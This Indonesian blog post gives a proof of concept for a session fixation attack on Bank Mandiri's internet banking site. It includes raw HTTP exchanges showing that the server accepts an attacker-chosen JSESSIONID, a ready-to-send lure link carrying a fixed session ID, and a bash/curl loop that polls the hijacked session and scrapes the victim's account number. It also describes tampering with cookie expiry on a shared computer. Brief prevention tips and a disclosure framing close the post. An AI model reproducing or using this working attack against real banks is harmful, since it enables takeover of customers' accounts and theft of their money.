Hacking Mandiri Internet Banking dengan Session Fixation

courtesy of bank mandiri

Dalam artikel ini saya akan menggunakan jurus session fixation untuk membajak session internet banking Mandiri yang merupakan bank terbesar di tanah air. Detil mengenai session fixation attack bisa dibaca di artikel saya sebelumnya yang berjudul mengenal session fixation attack.

Session ID Bank Mandiri Internet Banking

Internet banking mandiri menggunakan sessionid yang disimpan dalam cookie dengan nama JSESSIONID. Sessionid ini sangat panjang dan acak, jadi tidak mungkin memakai jurus prediction untuk mendapatkan sessionid. Contoh sessionid bank mandiri adalah:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Fixate sessionid yang dipilih sendiri dengan query string

Untuk memastikan apakah internet banking mandiri bisa diserang dengan session fixation, saya akan coba memasukkan query string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query string JSESSIONID=01234567890. Berikut adalah request dan response yang terjadi.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=01234567890   GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1 Host: ib.bankmandiri.co.id User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: id,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive   HTTP/1.x 200 OK Date: Mon, 02 Feb 2009 23:28:58 GMT Pragma: no-cache Content-Encoding: gzip Content-Length: 3822 Content-Type: text/html Expires: -1 Transfer-Encoding: Chunked Set-Cookie: JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!568454685!-1062708981!7668!7002; path=/ Cache-Control: no-cache

Ternyata usulan saya ditolak mentah-mentah oleh server, hal ini terlihat dari responsenya yang memberikan sessionid dalam bentuk cookie pada baris ke-21. Dari response tersebut juga bisa diambil kesimpulan bahwa server bank mandiri lebih suka memakai cookie sehingga bila ada client yang memberikan sessionid dalam query string, dibalas dengan header Set-Cookie. Ini pertanda bagus karena cookie yang diberikan pada korban akan memudahkan serangan saya.

Fixate sessionid yang dibangkitkan server dengan query string

Oke, setelah gagal mengusulkan sessionid sembarangan dengan query string. Saya akan coba lagi dengan sessionid yang dibangkitkan server. Untuk itu sebelumnya saya harus meminta server memberikan sessionid. Dalam contoh ini saya akan gunakan sessionid yang sudah saya minta sebelumnya, yaitu:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Sessionid ini akan saya kirimkan dalam request dalam bentuk query string. Sebelumnya cookie yang ada harus dihapus karena cookie memiliki prioritas lebih dibanding query string dalam hal sessionid. Berikut request dan response yang terjadi.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002   GET /retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 HTTP/1.1 Host: ib.bankmandiri.co.id User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: id,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive   HTTP/1.x 200 OK Date: Mon, 02 Feb 2009 23:37:42 GMT Pragma: no-cache Content-Encoding: gzip Content-Length: 3824 Content-Type: text/html Expires: -1 Transfer-Encoding: Chunked Set-Cookie: JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002; path=/ Cache-Control: no-cache

Hore berhasil. Pada response server ternyata menyetujui untuk memakai sessionid yang saya usulkan melalui query string. Tidak hanya itu, server malah membantu saya dengan membuat cookie dengan isi sessionid usulan saya. Jadi pada request berikutnya saya tidak perlu menambahkan query string karena sudah otomatis cookie terkirimkan. Ini adalah kondisi yang sempurna untuk serangan fixation attack karena serangan bisa dilakukan secara remote dan session cookie akan tercipta otomatis di browser korban.

Skenario Serangan

Skenario serangan menggunakan jurus session fixation pada Mandiri Internet banking ini adalah:

1. Attacker mengirimkan link kepada calon korban.

<a target="_blank" href="https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002"> Klik Dong</a>

Perhatikan link tersebut baik-baik. Link tersebut tidak tampak mencurigakan seperti phishing link. Pengguna yang teliti akan memeriksa link tersebut:
• Apakah domainnya benar? Benar! Domain link tersebut ib.bankmandiri.co.id
• Apakah pakai https? Benar! URL tersebut diawali dengan https
• Apakah pathnya benar? Benar! Path URL tersebut adalah /retail/Login.do
Karena semuanya benar, calon korban akan yakin bahwa itu bukan link phishing berisi fake login page. Padahal sebenarnya link itu mengandung jebakan sessionid fixation. Dan sayangnya tidak pernah ada informasi tentang bahaya ini dari bank yang bersangkutan.

2. Korban mengklik link tersebut.
Pada saat korban mengklik link tersebut, maka korban telah terjebak menggunakan sessionid yang sudah disiapkan oleh attacker. Pada browser korban akan tercipta sebuah cookie JSESSIONID yang berisi sessionid. Sehingga semua request dari browser korban ke bank mandiri internet banking selalu menggunakan sessionid tersebut.
Untuk coba-coba silakan anda buka link tersebut, kemudian periksa cookie anda. Apakah benar ada cookie berisi sessionid yang isinya sama dengan yang attacker inginkan?
3. Korban login
Setelah korban membuka halaman login, selanjutnya korban akan memasukkan username dan passwordnya. Bila login sukses, maka korban bisa mengakses accountnya, dan begitu pula attacker karena keduanya berbagi sessionid yang sama.
4. Attacker mengakses account korban
Karena korban dan attacker menggunakan sessionid yang sama, server menganggap attacker dan korban adalah orang yang sama, yaitu pemegang account yang sah. Nun jauh di sana, attacker selalu memeriksa status session yang sessionidnya diberikan pada korban. Begitu korban berhasil login, pada saat itu juga attacker akan mengakses account korban.

Bahayanya serangan ini adalah serangan ini bisa memakan banyak korban. Ingat bahwa setelah korban selesai memakai accountnya, dia akan logout. Pada titik ini attacker tidak bisa lagi mengakses account korban. Tapi jangan lupa bahwa cookie berisi sessionid masih ada di browser korban, sehingga setiap kali ada request dari browser itu akan menggunakan sessionid yang sudah ditentukan attacker. Bila ada korban lain memakai browser itu dan login ke mandiri juga, maka orang itu juga akan menjadi korban.

Session Status Checker

Agar session tidak expired, attacker harus melakukan request terus menerus dengan sessionid itu, dengan begini server akan berpikir bahwa sessionid tersebut masih aktif dipakai. Di komputer lain saya telah membuat script sederhana untuk memeriksa status session dengan sessionid tertentu, statusnay apakah “Dead” (tidak ada yang login) atau “Alive” (sedang dipakai orang dan belum logout).

1 2 3 4 5 6 7 8 9 10 11

#!/bin/bash while [ true ] ; do NOREK=`curl -s "https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b kue.txt |grep '<td align="center" height="25" bgcolor="#DDF2FA">[0-9]*</td>'|cut -f2 -d">"|cut -f1 -d"<"` if [ -z "$NOREK" ] then echo "Dead" else echo "Alive, Norek: $NOREK" fi sleep 10 done

Script tersebut memerlukan cookie yang disimpan dalam file kue.txt. File tersebut menyimpan cookie yang akan dikirim pada setiap request. File tersebut mengikuti format dari curl. Agar mudah, sebelumnya saya sengaja meminta cookie dengan curl ke ib.bankmandiri.co.id dan menyimpannya di file kue.txt, kemudian file tersebut saya edit dengan mengganti sessionidnya dengan sessionid yang saya target. Saya memasukkan sessionid yang sama dengan yang saya pakai dalam contoh-contoh sebelumnya di atas, yaitu JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

mandiri check session

Perhatikan pada gambar di atas, script saya akan looping terus untuk mengirim request dengan cookie berisi sessionid. Bila halaman “/retail/Welcome.do?action=result” berisi “Nomor Rekening”, berarti sessionid tersebut sedang dipakai oleh seseorang.

Perhatikan juga bahwa server bank mandiri tidak peduli dengan fakta bahwa ada 2 request dari ip address dan user agent yang berbeda. Script tersebut dijalankan di Linux dengan IP address yang berbeda dengan request yang dilakukan dari browser korban. Karena request dilakukan dengan curl, maka user agent headernya pun berbeda dengan browser korban. Tapi server tidak peduli dengan semua perbedaan itu, selama request yang datang membawa cookie berisi sessionid yang benar, maka dia berhak mendapatkan akses.

Di internet, siapapun yang membawa sessionid anda, akan menjadi anda!

Pada gambar tersebut juga terlihat bahwa korban bisa login atau logout berkali-kali, namun tetap menjadi korban attacker. Hal ini terjadi karena cookie berisi sessionid masih tetap ada di browser korban walaupun korban sudah logout. Jadi kalau ada yang login lagi, maka dia juga akan memakai sessionid yang sama.

Modifikasi Cookie Expired Date secara Lokal

modified expired date

Kelemahan dari serangan remote di atas adalah batas waktu cookie adalah hingga browser ditutup. Begitu browser ditutup, cookie yang expired akan dihapus. Bila attacker memiliki akses fisik, maka akibat serangannya akan semakin dahsyat. Attacker akan memodifikasi tanggal expired session cookie pada browser korban. Tanggal expirednya akan diubah menjadi tahun 2099 misalnya, sehingga cookie tersebut akan tetap ada sampai 2099. Dengan begini semua orang yang login dengan browser itu di komputer itu akan menjadi korban attacker nun jauh di sana yang selalu sabar menanti dengan script session checkernya.

Tips Pencegahan

Sederhana saja cara untuk mencegah agar tidak terkena jebakan batman dari attacker. Sebelum login ke halaman internet banking mandiri, hapus semua cookie yang ada dan query string yang mengandung sessionid. Dengan cara ini sessionid yang dipakai adalah sessionid yang diberi oleh server yang tidak diketahui attacker.

Kesimpulan

Saya telah menunjukkan proof of concept serangan session fixation pada internet banking mandiri. Serangan ini sangat berbahaya karena bisa diserang dari jarak jauh dan korbannya tidak hanya satu orang, tapi semua orang yang login di browser dan komputer yang sama. Sayangnya serangan ini tidak setenar SQL injection atau XSS, padahal serangan ini sama berbahayanya sehingga orang banyak yang tidak aware dengan ancaman ini.

Serangan ini juga tipe serangan yang tidak bisa dicegah dengan https karena serangan ini berada di layer aplikasi. Jadi logic aplikasinya yang harus diperbaiki, bukan pada level protokol https.